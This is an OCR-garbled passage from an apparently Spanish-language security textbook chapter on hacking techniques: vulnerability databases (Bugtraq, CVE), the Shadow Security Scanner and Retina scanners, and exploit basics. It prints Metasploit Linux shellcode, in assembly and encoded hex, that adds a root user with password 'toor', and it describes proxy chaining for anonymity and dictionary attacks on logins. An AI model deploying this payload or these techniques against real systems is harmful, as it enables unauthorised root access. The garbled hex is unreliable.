Tecnicas de Hacking

51
;0 Capitulo 3 1 ~ i r -I mCNICAS DE HACKING CONTRA LOS SISTEMAS Y CONTRAMEDIDAS 3.1 INTENTANDO COMPROMETER UN SISTEMA a )s m ie Hoy en dia la informatica se ha extendido a casi cualquier ambito de negocio, sus aplicaciones son asombrosas y nos permite realizar una infmidad de actividades en un corto periodo de tiempo. Los programas que proveen las grandes empresas de software son capaces de realizar una, tarea de mil formas diferentes y aplicando cada vez un mayor numero de opciones. .j Estos errores provocan que nuestro sistema sea vulnerable a un ataque desde el exterior comprometiendo asi toda la informacion valiosa que se guarde en la maquina atacada. Las grandes compafiias informaticas poseen un departamento II Ie Estas grandes aplicaciones tienen muchas ventaj as, ya que nos permiten ahorrar tiempo y recursos a la hora de resolver una tarea esencial para nuestra actividad. Sin embargo, la gran competencia que existe en este sector hace que los consumidores de este servicio requieran aplicaciones muy potentes y versatiles en un corto periodo de tiempo; el problema que se deriva de esta realidad implica que el programa no este 10 suficientemente testado en todos los posibles usos que el usuario le pueda dar. t, El rapido disefio del software, junto con el insuficiente testing al que se le somete, provocan que estas aplicaciones contengan errores (Bugs) importantes, los cuales, un usuario mal intencionado (hacker malicioso) puede aprovechar para la . ejecucion de c6digo malicioso en la maquina donde este instal ado el programa. i I I ii I' I, I

Transcript of Tecnicas de Hacking

  • ;0

    Capitulo 3

    1

    ~i

    r

    - I

    mCNICAS DE HACKING CONTRA LOSSISTEMAS Y CONTRAMEDIDAS

    3.1 INTENTANDO COMPROMETER UN SISTEMA

    a)smie

    Hoy en dia la informatica se ha extendido a casi cualquier ambito denegocio, sus aplicaciones son asombrosas y nos permite realizar una infmidad deactividades en un corto periodo de tiempo. Los programas que proveen las grandesempresas de software son capaces de realizar una, tarea de mil formas diferentes yaplicando cada vez un mayor numero de opciones.

    .j

    Estos errores provocan que nuestro sistema sea vulnerable a un ataquedesde el exterior comprometiendo asi toda la informacion valiosa que se guarde enla maquina atacada. Las grandes compafiias informaticas poseen un departamento

    II

    IeEstas grandes aplicaciones tienen muchas ventaj as, ya que nos permiten

    ahorrar tiempo y recursos a la hora de resolver una tarea esencial para nuestraactividad. Sin embargo, la gran competencia que existe en este sector hace que losconsumidores de este servicio requieran aplicaciones muy potentes y versatiles enun corto periodo de tiempo; el problema que se deriva de esta realidad implica queel programa no este 10 suficientemente testado en todos los posibles usos que elusuario le pueda dar.

    t,

    El rapido disefio del software, junto con el insuficiente testing al que se lesomete, provocan que estas aplicaciones contengan errores (Bugs) importantes, loscuales, un usuario mal intencionado (hacker malicioso) puede aprovechar para la. ejecucion de c6digo malicioso en la maquina donde este instal ado el programa.

    iIIiiI'

    I,

    I

  • 90 HACKING Y SEGURIDAb EN INTERNET RA-MA

    dedicado solamente a la deteccion y solucion de estas vulnerabilidades. Cuando sedetecta un problema, estos departamentos crean un parche que soluciona losposibles errores que existan. Los datos del usuario de la aplicacion seranvulnerables en el transcurso de tiempo desde que se encuentre el faUo hasta que sesaque el parche 0 actualizacion de la vulnerabilidad.

    En este capitulo se explica como encontrar y explotar las vulnerabilidadesde un software informatico tanto de forma local como remota, tambien se venin lasposibles aplicaciones que se pueden sacar de estos errores y por ultimo, lasacciones y contramedidas que el usuario puede utilizar para evitar problemas deseguridad en sus sistemas informaticos.

    3.1.1 Buscar vulnerabilidadesCuando un hacker planea realizar un ataque, debe plantearse una serie de

    pasos a seguir antes de realizar cualquier ofensiva. Existen muchas formas deentrar en determinados lugares con acceso restringido, cuyo objetivo principalpuede ser la conquista de una maquina remota 0, simplemente, la subida deprivilegios de un usuario en un ordenador local.

    Para realizar un ataque siempre hay que investigar primero a la victima,como por ejemplo, que IP tienen los servidores y estaciones de trabajo que tieneconectados a la red, que servicios estan iniciados y en que puertos estan trabajando,que aplicaciones utiliza, etc. El conocimiento de esta informacion es vital paracontinuar con el siguiente paso.

    Muchos programas y sistemas informaticos en la actualidad, a veces porlos motivos de disefios rapidos y poco testados, poseen una' serie de errores deprogramacion (bugs), que pueden ser aprovechados por un hacker para realizar unataque. Estos errores constituyen verdaderas vulnerabilidades que ponen en peligro1aseguridad de los datos de 1avictima frente al exterior. Los problemas que planteaesta cuestion hacen que las compafiias de software tengan que sacar una serie deparches y actualizaciones para sus programas, que permitan arreglar los agujeros deseguridad detectados 10 antes posible.

    Como el lector podra apreciar, la victim a es vulnerable a un ataque delexterior en el transcurso de tiempo desde que se descubre el error hasta que se sacauna solucion 0 parche para dicho bug. Durante este tiempo, un intrusomalintencionado podra realizar ataques que exploten esta vulnerabilidad peligrandoasi la seguridad de la victima 0 victimas. Sin embargo, igualmente importante esque exista algun tipo de base de datos que contenga informacion que describa cuales el error, como se provoca y si existe 0 no alguna actualizacion que 10 corrija.

    f

    (

    cs

    "dn1:~

    l'fi[I

    C

    qhIi

  • MA

    I selosninse

    leslaslasde

    dede.alde

    la,le-0,

    ra

    orIein

    ~o

    IeIe

    ~IaoJ

    S

    I

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 91

    En la actualidad y debido a la gran cantidad de bugs que se han encontradoen los sistemas operativos y aplicaciones informaticas, existen unas bases de datosque contienen informaci6n acerca de la vulnerabilidad, quien la descubri6, queclase de vulnerabilidad es, c6mo se explota, que resultados provoca, cuales son lossistemas-y versiones afectados y si la hay, emil es su soluci6n.

    Existen varias clasificaciones que describen y ordenan las diferentesvulnerabilidades que se han descubierto; una de las mas importante es la base dedatos bugtraq, la cual se actualiza muy frecuentemente y es vital para encontrarmucha informaci6n acerca de los errores detectados de un software. Tambien estanlas llamadas listas 0 diccionarios de vulnerabilidades CVE-CAN (CommonVulnerabilities and Exposures), las cuales estan formadas por un nombre queidentifica la vulnerabilidad, por una descripci6n del problema y por una lista dereferencias que amplian la informaci6n sobre el error encontrado. CVE y CANforman dos listas distintas que se diferencian en la consideraci6n 0 no de un errorcomo una vulnerabilidad. El diccionario CVE esta compuesto por aquellos erroresque han sido estudiados y aceptados como vulnerabilidades, y aquellos que aun nohan sido aprobados como tales se encuentran englobados en la lista CAN. Los doslistados de informaci6n se clasifican de la misma manera: se hace referencia a elloscon el prefijo CVE 0 CAN, seguido de una cifra de cuatro digitos que distingue elafio, un gui6n y otra cifra consecutiva que identifica el error de los. que se hanencontrado ese afio; un ejemplo de este formato es CVE-2007-1003. Si existe unerror que en un principio se encuentra en la lista CAN, como por ejemplo CAN-2007-1010, y tiempo mas tarde se considera dicho error como una vulnerabilidad,la informaci6n se identificaria de la misma manera s6lo que cambiando el prefijoCAN por las siglas CVE, es decir, quedaria como CVE-2007-1010.

    Microsoft Windows Cu."sor And Icon ANI Format Handling RemoteBuffer Overflow Vulnerability

    Bugtraq 10: 23194__"_r:s~,!!,~!I!,__________ t:IClss:!~~..~",!I.~~~ .....ColumnJ.u eVE:~. ~" N .. 4 U" ~

    !"}~"!i!'~_!-'~~~ . _

    Boundary Condition Error

    CVE-2007-1765CVE-2007-0038

    Figura 3-1. Base de datos Bugtraq de fa Pagina Web: www.securityfocus.com

    ------ -----

  • 92 HACKING Y SEGURIDAD EN INTERNET RA-MA

    Si se quiere tener un sistema segura y libre de vulnerabilidades es muyrecomendable estar al dia de las alertas de seguridad que se saca tanto en Bugtraqcomo en las listas CVE-CAN. Una pagina Web muy recomendable para visitar eshttp://www.securityfocus.com donde podremos encontrar la base de datos Bugtraqactualizada con las ultimas vulnerabilidades, clasificada por tres criterios segun seael vendedor del software con problemas, su nombre y la version con el error. Estabase de datos es muy recomendable de usar ya que nos da mucha informacionsobre el error, donde encontrar un exploit que se aproveche de Ia vulnerabilidad,como solucionar el bug y por ultimo, varias referencias de ayuda, tanto a las listasCVE-CAN como a articulos relacionados con el tema.

    3.1.2 Escaneadores de vulnerabilidadesEn estos momentos y antes de seguir avanzando, el lector debe tener claro

    los conceptos relativos al escaneo de redes y de puertos de una maquina victima,junto con un conocimiento mas 0 menos conciso sobre el concepto devulnerabilidad y los diferentes tipos que existen.

    En este apartado se van a comentar dos herramientas muy famosas, deambito comercial y 'que estan disefiadas y enfocadas para realizar auditorias deseguridad a equipos locales 0 remotos. Tanto administradores como hackerspueden usar estos programas con finalidades distintas, ya sean dedicadas a unacomprobacion de seguridad en un sistema operativo de un servidor Web de unaempresa, 0 parte del vector de ataque de un hacker antes de realizar su ofensiva.

    .. Estos prograrnas se denominan Shadow Security Scanner (SSS) y RetinaNetwork Security Scanner, sus funciones son parecidas y persiguen la mismafinalidad, que consiste en escanear y encontrar vulnerabilidades, errores y fallos deconfiguracionde un equipo objetivo.

    3.1.2.1 SHADOW SECURITY SCANNER (SSS)

    Esta famosa herramienta comenzo en sus inicios como una utilidad hackerde estilo undergound, y debido a la creciente necesidad informatica de tenerimplementaciones seguras en los equipos y redes de la empresas, se fuedesarrollando un sistema grafico muy amigable que alberga divers as opciones deconfiguracion que hacen de esta utilidad una muy aceptable opcion, La empresacreadora de este proyecto Safety-Lab actualiza muy frecuentemente la base dedatos de vulnerabilidades que contiene este programa. Desde su pagina Webhttp://www.safety-lab.comlse puede descargar una version trial previo registro deun usuano,

    vh

    npe:

    u:bidem

    c(plseIepc

    ill

  • -MA

    lUYraq~esraqsea.staionad,tas

    LfO

    la,de

    dede~rstlatla

    lalaIe

    rr

    1

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 93

    La opci6n mas interesante del programa se centra en tome al escaneo devulnerabilidades a traves de una auditoria, por ello se va a explicar a continuaci6nIa configuraci6n y ejecuci6n de una auditoria tipo probando as! Ia seguridad de unservidor de ejemplo.

    .Lo primero de todo es instalar el program a Shadow Security Scanner en

    nuestro equipo Y ejecutarlo, si la versi6n con la que se trabaja es trial, es muyprobable que salga un mensaje en el cual se pide el registro de la licencia. Tambienes muy comun en este tipo de program as que cada vez que se inicien, preguntenpor la descarga de una actualizaci6n de la base de datos del programa, ya que serenuevan casi a diario.

    Existen varios tipos de escaneos de vulnerabilidades en esta herramientaque se personalizan mediante reglas ya establecidas 0 creadas por el propiousuario. Estas reglas estan formadas por m6dulos que clasifican un conjunto debugs que afectan a un software 0 servicio especifico. Antes de ejecutar un analisisde seguridad de una maquina, se debe configurar una de estas reglas con losmodulos que mas se acerquen al perfil de la victima; esto es crucial ya que hacerescaneos a modo completo (es decir, ajustar una plantilla de escaneo) suele sercontraproducente en terminos de perdida de tiempo en. el trabajo de auditoria, yproblemas con cortafuegos si se esta auditando desde fuera. Un ejemplo muysencillo pero aclarador es si un servidor Web tiene un sistema Windows con ITS yIe escaneamos con vulnerabilidades que afectan a la plataforma de Linux, seperdera tiempo de proceso inutilrnente.,

    A continuaci6n se describen los pasos necesarios para configurar y ejecutarun escaneo a una maquina remota:

    1) En la ventana principal de la interfaz, dentro del menu file ejecutamos laopci6n New session. Al hacerlo se abrira una nueva ventana dondeaparecera una tabla con las reglas que vienen por defecto. En este puntoexisten tres opciones. La primera es modificar una de las reglaspredefinidas agregando y quitando modulos y. estableciendo diferentesparametres, para ella se selecciona una regla y se presiona el boton Editrule. La segunda opci6n es crear una 'nueva regIa con el boton add rule, elcual abre otra ventana donde se puede elegir entre dos opciones y don de sedebe afiadir el nombre de la nueva regla, Las dos opciones configurablesde esta ventana sirven para indicar al program a si debe usar y copiar losm6dulos de una regia ya existente, 0 el usuario es el que elige los m6dulospara la nueva regIa. La Ultima posibilidad que tenemos en esta ventana eselegir una regIa predefmida y usarla para realizar un escaneo.

  • 94 HACKING Y SEGURlDAD EN INTERNET RA-MA

    2) Si en el paso anterior hemos e1egido modificar 0 crear una nueva regia,aparecera en la pantalla otra ventana de configuraci6n donde se eligen losm6dulos que personalizaran la regIa. Las diferentes opciones que aparecenen esta ventana se describen a continuaci6n:

    General: en este punto se seleccionan valores basicos que regulanun escaneo. El valor mas importante es elegir, dentro delcombobox con etiqueta Host Ping Type, la opci6n perfom scanon host that do not respond to ping, 10que permite escanear unamaquina que no responde a paquetes ping, pero que aun asi estaencendida.

    Description: es un espacio reservado para escribir la descripci6nde la regia creada.

    Modules: aqui seleccionamos los m6dulos que mas se ajusten a 1avictima.

    Ports: en esta opci6n se seleccionan los puertos cuyos serviciosiniciados van a ser escaneados.

    Audits: esta es la parte que con mas detenimiento se ha de realizar.En la ventana aparece una lista de m6dulos ordenados segun sucategoria, cada uno de ellos forma un arbol desplegable donde seengloban todos los bugs que se han registrado en ese m6dulo y quecontiene Ia base de datos del programa, junto con un cuadrado dediferente color que indica el nivel de riesgo de dichavulnerabilidad. Aunque es tedioso y requiere tiempo, es muyrecomendable dejar seleccionados s6lo aquellos que vayan a hacerfalta.

    UDP Scanrpermite habilitar el escaneo de puertos UDP.

    HTTP: el objetivo de esta opcion es permitir encadenar medianteservidores Proxy que funcionan a traves del protocolo http, parasalvaguardar asi e1anonimato.

    NetBios: permite realizar escaneos al servicio NetBios a traves delrecurso oculto compartido IPC$.

  • \-MA

    .gla,I los.cen

    Lla

    lOS

    ar.suseuedehalyer

    te'a

    ~l

    RA-MA CAPITULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 9S

    SOCKS: la finalidad de esta opcion es identica a la del HTTP, esdecir, proteger el anonimato del usuario utilizando para ellaservidores Proxy que funcionen con el protocolo Socks v5.

    Default Logins: aqui se configuran los ficheros de texto donde seencuentran un listado de posibles usuarios y un diccionario declaves, que serviran para realizar ataques de diccionario contra.algun servicio que requiera autentificacion de la maquinaescaneada.

    Mise: esta opcion engloba dos partes diferentes. La primera es unalista de caracteres especificos que generan problemas en losservicios FTP que no esten debidamente parcheados. La segundaparte sirve para indicar al program a que palabras clave usar parabuscar en las cadenas publicas de la base de datos MIB, quecontrola y gestiona el protocolo SNMP.

    3) Este paso sera el siguiente despues de haber configurado 0 creado unaregIa, y es el mismo caso si se hubiera elegido al principio una regIa yadefinida por el fabricante. La siguiente ventana, despues de terminar laconfiguracion del tipo de escaneo que se va a realizar, esta enfocada aafiadir a traves del boton Add host ala maquina 0 las maquinas objetivo dela auditoria.

    Figura 3-2. Ventana de configuracion de los modulos de SSS

  • 96 HACKING Y SEGURlDAD EN INTERNET RA-MA

    S610 queda presionar al bot6n Start Scan que se encuentra en la barra deherramientas superior de la interfaz.

    Cuando el escaneo ha finalizado podemos ver los resultados en una tablaque abarca la mayor parte de la ventana. La interpretaci6n de las vulnerabilidades 0avisos de seguridad que se han encontrado en el sistema escaneado se hacen en lafranja de la tabla con el nombre de Audits.' Si se presiona sobre uno de los bugs quese han encontrado, aparecera en la tabla de mas abajo una breve descripci6n delerror, junto con referencias a las listas CVE-CAN y a la base de datos Bugtraq devulnerabilidades.

    Figura 3-3. Ventanapara ahadir host al escaneo del Shadow Security Scanner

    Se trata de uno de los mejores escaneadores de vulnerabilidades que existeen el mercado, para usar desde plataformas Microsoft. El equipo que hadesarrollado este proyecto Eeye Digital Security se caracteriza por un gran trabajoen el conocimiento de problemas de seguridad y la actualizaci6n casi de maneracontinua de la base de datos de vulnerabilidades que contiene Retina.

    t:1:qgc

    nquItv.

    ae~e~Sly

  • -MA

    de

    blas 0i la[uejelde

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 97

    Se trata de un software comercia1 de ambito profesional, que permitiratanto a administradores como a hackers obtener informacion muy detaIl ada sobrelas vu1nerabilidades de un equipo local 0 remoto. L-a aplicacion esta disefiada paraque el usuario no tenga problemas en su usn, ademas incorpora un sistema degeneracion de formularios formidable que permite realizar informes de seguridadcon un nivel de detalle muy alto.

    Para ilustrar un ejemplo de configuracion y escaneo de una maquinaremota utilizando una auditoria personalizada, se trabajara con la version 5.0.10,que aunque es anterior a la version mas reciente del programa, permitira mostraruna prueba de concepto amplio sobre el uso y funcionamiento de Retina. Piense ellector que Retina 0 cualquier otro escaneador de vulnerabilidades necesitaria devarios capitulos para una descripcion mucho mas detaIl ada y tecnica,

    Lo primero de todo es instalar esta herramienta en un ordenador conectadoa la red donde se encuentre el equipo que es objeto de un escaneo. Una vez hechoesto y tras ejecutar el programa, se abrira la ventana principal de Retina. La interfazes muy intuitiva y de facil manejo, esta compuesta por un menu principal, unsubmenu vertical de opciones colocado en la parte izquierda de la ventana principaly por cuatro pestafias denominadas Discover, Audit, Remediate y Report.

    Discover. En esta pestafia se encuentra todo 10 necesario para descubrirmaquinas activa de una red, trabaja normalmente enviando paquetes ICMP(ping) a un rango de IP especificado, aunque tiene otros sistemas deescaneo de maquinas en la red basados en el envio de paquetes TCP a unaserie de puertos, .

    Audit. En esta pestafia es donde se realizan auditorias 'de seguridad a unamaquina 0 conjunto de maquinas de la red, es la parte mas importante delprograma, tiene varias opciones de configuracion que permitenpersonalizar los tipos de escaneos de vulnerabilidades que se quieranrealizar y los puertos que se desean probar.

    Remediate. Tras hacer una auditoria a Una maquina, Retina ofrece laposibi1idad de generar un informe con los datos y refereneias necesariosque permiten solueionar los fallos de seguridad deseubiertos. Tiene variasopeiones muy utiles donde se seleecionan las partes que se desean mostraren el informe, el eual se puede exportar en formato de doeumento de Wordo en una pagina Web eserita en HTML.

    Report. Esta ultima pestafia permite realizar un informe de lasvulnerabilidades y errores .que se han encontrado : en una maquina

    ----------- -- --- --_

  • 98 HACKING Y SEGURlDAD EN INTERNET RA-MA

    escaneada. Al Igual que Remediate, existen varias opciones configurablesque permiten seleccionar las partes que se desean mostrar en el informe. EInivel de detalle que se puede alcanzar con los parametres que permiteRetina en esta opcion es muy alto afiadiendo, ademas, la posibilidad se usarencabezados personalizados en la generacion del informe.

    Al igual que Shadow Security Scanner, los tipos de escaneo y pruebas deerrores vienen ordenados por modulos que se clasifican de tres maneras diferentes.La primera organiza los modulos segun sea la categoria de la auditoria (Accounts"cuentas de usuario", Anti-vir "antivirus", Database "Base de Datos", etc.), lasiguiente forma de clasificacion ordena los modules segun el listado devulnerabilidades CVE-CAN, la ultima ordenacion de modules se realiza a travesdel BID, el cual hace referencia al identificador ID de la base de datos Bugtraq.

    Para seleccionar los modulos que se desean utilizar durante el escaneo, setiene que seleccionar la pestafia Audits, tras esto, en Ia parte izquierda de laventana principal aparecera en vertical una serie de opciones de configuracion quepermiten personalizar una auditoria. Dentro de las opciones que se muestran, existeuna con el nombre de Modify Audits Groups; si se selecciona, aparecera unanueva ventana con una lista de los modules que se cargan ordenados segun lapestafia que este marcada (Audit., CVE, BID). Desde aqui se puede elegir losdiferentes modules que se utilizaran en el escaneo de una rnaquina objetivo.

    Retina "eport ~(I"O~oft rnteenet fwpIi)l"e ~ ... 7 ;;, >l~ M ~

    '" F

    Retina - Network Security ScannerNetwork Vtllrl~r.1bjUty Assasslnen( &. Remediation Mauny ..m.nt

    -,. _jTOP 20 VVWERABlunE S

    The (011OWIng IS an overview o( the top 20 vulnerabilities on your network.

    ~~v~lhr."~~~~:~-"'>:~~:-~7~~'"~':T"'tr"f~~,t~r~-~T.~~~ry~,- -(i;~rn~;:,~~"""']T1. ~8Ssword Does Not Expire 22 Mal( Password Age --3. Min Pass'WOrd Age

    Min Password Length5. PasswordHistory6. User NeverLogged On7 ASN. f Vulnerability Could Allow Code Execution8 Windows Cumulalrve Patch 635732 Remote

    f.:::-_--l::NU=;1I ;::::S05=:si.:::;on;-:-:-:-_-:-:-:-:-- . . ... .._ ~. ~10. No Remote Registry Access Available 1

    Figura 3-4_ Informe en formato web generado por fa herramienta RetinaNetwork Security Scanner

    R

    pestespese dl

    - .

  • ,-MA

    bles. Elniteisar

    detes.intsIade

    V'es

    seIauestenalaos

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 99

    . I I .N".\!. II pe!et" IlU--"A~;;:,;m"-l i'Cy;;-----] [----oiomm--], .

    All Audits ___ ~ft __ '_ ._ r.; Autcmati""ny add new audits to this gloup.

    ~-------Ftlteo:

    Accounts

    Account' MediumAccount. High CAN1999-05 ...

    0 Account password same as account Ac::ounts High CAN1999-OS_._~,~ Account Reset Accounts Medi.."0 Account with no pessword Account.

    -High CAN 1999-05 ...

    ~ Anonymous Poicy P wo,d -NT 4 Accounts Low 87~ Cached logon Cledenti .. s

    .!.Accounts Low

    7'_~ Cached Logon. Enabled Accounts LowAccount. Low

    Figura 3-5. Modulos de escaneo que posee fa base de datos de Retina

    Para realizar una auditoria tipo a una maquina remota, se debe presionar lapestafia Audits, dentro de esta se deberan ir configurando las opciones que seespecifican paso a paso y de manera ordenada. Las opciones mas importantes quese deben conocer son:

    Targets. Esta opcion permite elegir el objetivo mediante la seleccion de laIP de la victima si es {mica, con un range de IP remotas, a traves delnombre NetBios, mediante la configuracion de grupos enteros de redes,etc.

    Ports. Desde esta opcion se pueden elegir los puertos donde se van aescanear las vulnerabilidades a la maquina objetivo, por defecto estaseleccionada la Iista de los common ports que hacen referencia a lospuertos mas comunes que se utilizan para este tipo de escaneos. Esimportante sefialar que a traves del boton modify se abre una ventanadonde se puede elegir el rango de puertos que se deseen.

    . Audits. Esta pestafia es la mas importante de todas, desde aqui seseleccionan los modules que se van a cargar y utilizar durante el escaneo.

  • 100 HACKING Y SEGURIDAD EN INTERNET RA-MA

    Para seleccionarlos basta con presionar el boton modify sobre el grupo deauditorias que mas convenga al caso que se quiera aplicar. Al presionareste boton se abrira una nueva ventana donde se permite elegir los modulesque se van a utilizar al escanear.

    Options. Esta ultima configuracion muestra las diferentes opciones quepermiten realizar una auditoria mas personalizada. Desde aqui se puedeelegir parametres que muestren el sistema operativo de la victima, una listade los usuarios del sistema escaneado, una enumeracion de los parches quese han instalado, etc.

    Tras configurar las principales opciones, el siguiente paso es empezar aescanear, para ella basta con presionar el boton Scan. Automaticamente empezaraa realizar pruebas con la maquina objetivo y mostrara los resultados en un recuadrode la parte inferior de la ventana.

    Los resultados obtenidos del escaneo se muestran mediante una 'tablaordenada y clasificada segun los siguientes parametres:

    General. Informacion caracteristica del objetivo que alberga datosreferidos a la IP de la victima, el nombre del host, etc.

    Audits. Esta zona muestra las vulnerabilidades que Retina ha encontradoen el sistema remoto. Estas se clasifican en tres diferentes colores: el verde.muestra advertencias que son de un riesgo bajo para el equipo, el naranjarepresenta un nivel de riesgo medio que pueden provocar algunosproblemas importantes en el sistema, por ultimo, el color rojo indica elnivel de riesgo mayor para la seguridad de la maquina escaneada, se tratade riesgos criticos que necesitan una rapida solucion. .

    Machine. Muestra informacion complementaria del equipo escaneado,como por ejemplo la MAC remota, el numero de puertos TCP abiertos, elsistema operativo de la victima, etc.

    Ports. Muestra los puertos abiertos y los servicios iniciados en enos.

    Service. Lista los servicios de red de la maquina objetivo.

    Shares. Muestra los recursos compartidos del equipo escaneado.

    Users. Enumera los. usuarios del sistema objetivo.

    l

    escore:enpro

    3.:

    farCO(

    furparpretan

  • :.A-MA

    )0 deronar:luIos

    que.iedelistaque

    ar alaraidro

    ibla

    LtOS

    ido~denjalOS

    elita

    lo,el

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 101

    Por ultimo decir que cada vulnerabilidad encontrada en la maquinaescaneada posee una descripcion que se encuentra en un recuadro inferior alcomentado anteriormente. Desde aqui se puede ver importante informacionreferente a los informes CVE-CAN, Bugtraq, una breve descripcion del bugencontrado, los parches y actualizaciones 0 herramientas que solucionan elproblema detectado, etc.

    : Adctes " 192.168.1.35

    ~~ Audit T.. ks ".-: "[~-f;Y'.J> J' ,i~.>

    _~ 5~~:ScOij' " !;;0 ..... ;r" ',

  • 102 HACKlNG Y SEGURIDAD EN INTERNET RA-MA

    Los exploits suelen estar escritos en lenguaje C 0 en Perl (lenguajeutilizado en el programa Metasploit framework, del que se habla mas adelante),tambien los podemos encontrar en formato de pagina Web (HTML) 0 escritos enun lenguaje de scripting, por ejemplo, un archivo "*.bat" para las plataformasWindows 0 con un fichero "sh" para el sistema operativo GNU/Linux.

    EI funcionamiento de estas herramientas suelen seguir un esquema muycaracteristico; este depende del error que se quiera explotar, de las posiblesacciones que dicho bug permita realizar, del objetivo perseguido en la maquinaatacada y del c6digo 0 shellcode que se quiera inyectar y ejecutar. Los resultadosde la aplicaci6n de un exploit sobre un sistema programa informatico puedenconseguir ejecutar un determinado comando, deshabilitar algun servicio que esteiniciado, parar algun proceso que este corriendo en ese instante (por ejemplo pararla continua vigilancia de un antivirus), deshabilitar alglinfirewall 0 IDS, generar unataque DoS (Deny of Service, denegaci6n de servicio), conseguir una consola delsistema operativo de la maquina atacada, abrir una puerta trasera, etc..

    El c6digo que se inyecta y se ejecuta en la maquina atacada se denominashellcode 0 payload (carga util) , suele estar escrito en ensamblador y despuescodificado en hexadecimal, estas sentencias se almacenan en memoria y el sistemaoperativo las ejecuta, 10 que permite realizar en el ordenador objetivo mil accionesque dependen de la shellcode que hayamos utilizado. En el ejemplo siguiente semuestran dos c6digos de una shellcode que permite afiadir un usuario "root" conuna contrasefia "toor" en un sistema Linux. El primer c6digo es la versi6n escrita

    I

    en ensamblador del payload y el segundo hace alusi6n a la traducci6n de lashellcode en hexadecimal utilizando. una codificaci6n Alpha2 (Fuente:http://www.Metasploit.com/):

    /*c6digo en ensamblador para anadir un usuario y unacontrasena en Linux*/BITS 32global _start%include "generic.asm"_start:

    setreuid 0push byte Ox05pop eaxxor ecx, ecxpush ecxpush dword Ox64777373push dword Ox61702f2fpush dword Ox6374652f

    d9

    /'A"11

    lS-UI"\

    \>"\

    \>"\\)"\\)."\\x"\\x"\\xn\\x"\\x"\\x"\\xn\\x

  • aguejelante),tos enormas

    RA-MA

    rnuysiblesquinatadosieden: estepararar una del

    nmaouesemamese secon.rita~ lante:

    RA-MA CAPiTULO 3. TECNICAS DE HACKING CONTRA LOS SISTEMAS ... 103

    mov ebx, espinc ecxmov ch, Ox04int Ox80xchg eax, ebxcall. getstr

    db "ABC:AAnv3m35vbc/g:O:O: :/:/bin/sh"getstr:pop

    movpushpopintpushpopint

    ecxedx,byteeaxOx80byteeaxOx80

    [ecx-4]Ox04

    OxOl

    /*c6digo en hexadecimal separado en bytes, con codificaci6nAlpha2 que permite anadir a un sistema Linux un usuario"root" y un pasword "toor", la shellcode esta escrita paraincluirla en un exploit escrito en lenguaje c*//* linux_ia32_adduser - LSHELL=/bin/sh LUSER=root LPASS=toorS;ze=244 Encoder=Alpha2 http://metasploit.com */unsigned char scode[] ="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49""\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x51\x5a\x6a\x41""\xS8\x30\x41\x31\x50\x41\x42\x6b\x42\x41\xSl\x32\x42\x42\x42\x32""\x41\x41\x30\x41\x41\xS8\xSO\x38\x42\x42\x7S\x4a\x49\xSO\x31\x6a""\x69\x4f\x79\x6a\x6b\x32\x4a\x63\x7~\x71\x48\x78\x4d\x6d\xSO\x71""\x7a\x74\x45\x46\x38\x76\xSl\x4b\x79\x46\x31\x32\x48\x33\x43\x43""\x43\x72\xS7\x6S\x34\x61\x78\x46\x4f\x34\x6f\x44\x30\x71\x71\x42 II"\x48\x66\x4f\x33\x5S\x74\x34\x71\x73\x4e\x69\x7a\x43\xSl\xSl\x6e""\xSS\x44\x44\xSa\x6d\x6d\xSO\x4c\xS3\x69\x78\x61\x32\xS3\x30\x6S""\x50\x53\x30\x44\x32\xSO\x6f\x70\x6f\x70\x74\x37\x4a\x63\x71\x72""\x61\x73\x4S\x71\x77\xS6\xSl\x70\x37\xSS\x61\x62\x4a\x43\xSS\x30" ."\xSO\x30\x63\x42\x66\x32\x4f\x67\x4a\x66\xSO\x36\xSa\x30\x30\x74""\x7a\x46\xSa\x74\x6f\x46\xSa\xS4\x6f\xSl\x72\x72\x49\x72\x4e\x64" ."\x6f\x52\xS3\x71\x78\x6S\xSa\x72\x79\x4c\x4b\x42\x71\x4b\x4c\xSO"

  • 104 HACKING Y SEGURIDAD EN INTERNET RA-MA

    "\x6a\x35\x54\x63\x68\x5a\x6d\x6f\x70\x71\x7a\x66\x61\xS3\x68\x48""\x4d\x6d\xSO\x41";

    A continuaci6n se expone un ejemplo aclaratorio que explica de maneramuy basica el funcionamiento de exploits bastante comunes, aquellos que utilizanuna tecnica rimy conocida Hamada Stack buffer overflow (desbordamiento de lapila), la cual permite ver c6mo se aprovecha un bug para inyectar en la pila de lamaquina atacada la shellcode.

    Imaginemos que tenemos un programa que escribe por pantalla un mensajeescrito en una caja de texto y que esta guardado en una variable la cual soportacomo maximo 20 caracteres, asi pues, si se qui ere que salga por pantalla "Hola quetal estas" se podra hacet porque la frase tiene 15 letras con 3 espacios y cumple conla norma impuesta anterionnente, sin embargo, si escribimos 25 veces "A","AAAAAAAAAAAAAAAAAAAAAAAAA" el programa de prueba devuelve unmensaje de error denominado "violaci6n de segmento"; acabamos de provocar unerror que sobrescribe p~rte de la informacion guardada en otra variable almacenadaen memoria; este error permite que un exploit preparado para este bug escriba en elregistro de retorno de la aplicaci6n 'la direcci6n de la shellcode que se haalmacenado en la pila.

    3.1.3.1 TIPOS DE EXPLOITS

    Existen en Internet una infinidad de exploits que permiten aprovecharse deuna vulnerabilidad de un sistema. Estos se pueden clasificar de diferentes manerasque atienden a ciertas caracteristicas propias del exploit del que se trate, ya puedaser por su ejecuci6n de forma local 0 remota, por el resultado que provo que en lamaquina objetivo 0 por la forma de explotar el error del sistema. La clasificaci6nmas clara que se puede exponer es la relativa a exploits locales y remotos:

    a) Exploits Locales. Son aquellos exploits que se ejecutan en el sistema de lamaquina objetivo del ataque, su fmalidad suele ser conseguir que unusuario con permisos restringidos sea capaz de escalar privilegios, hastaobtener perrnisos de administrador 0 de sistema (System). Tambien seutilizan este tipo de exploits para realizar ataques de DoS (Deny ofService) contra algun servicio que este corriendo en el sistema atacado,como por ejemplo un servidor Web 0 de correo.

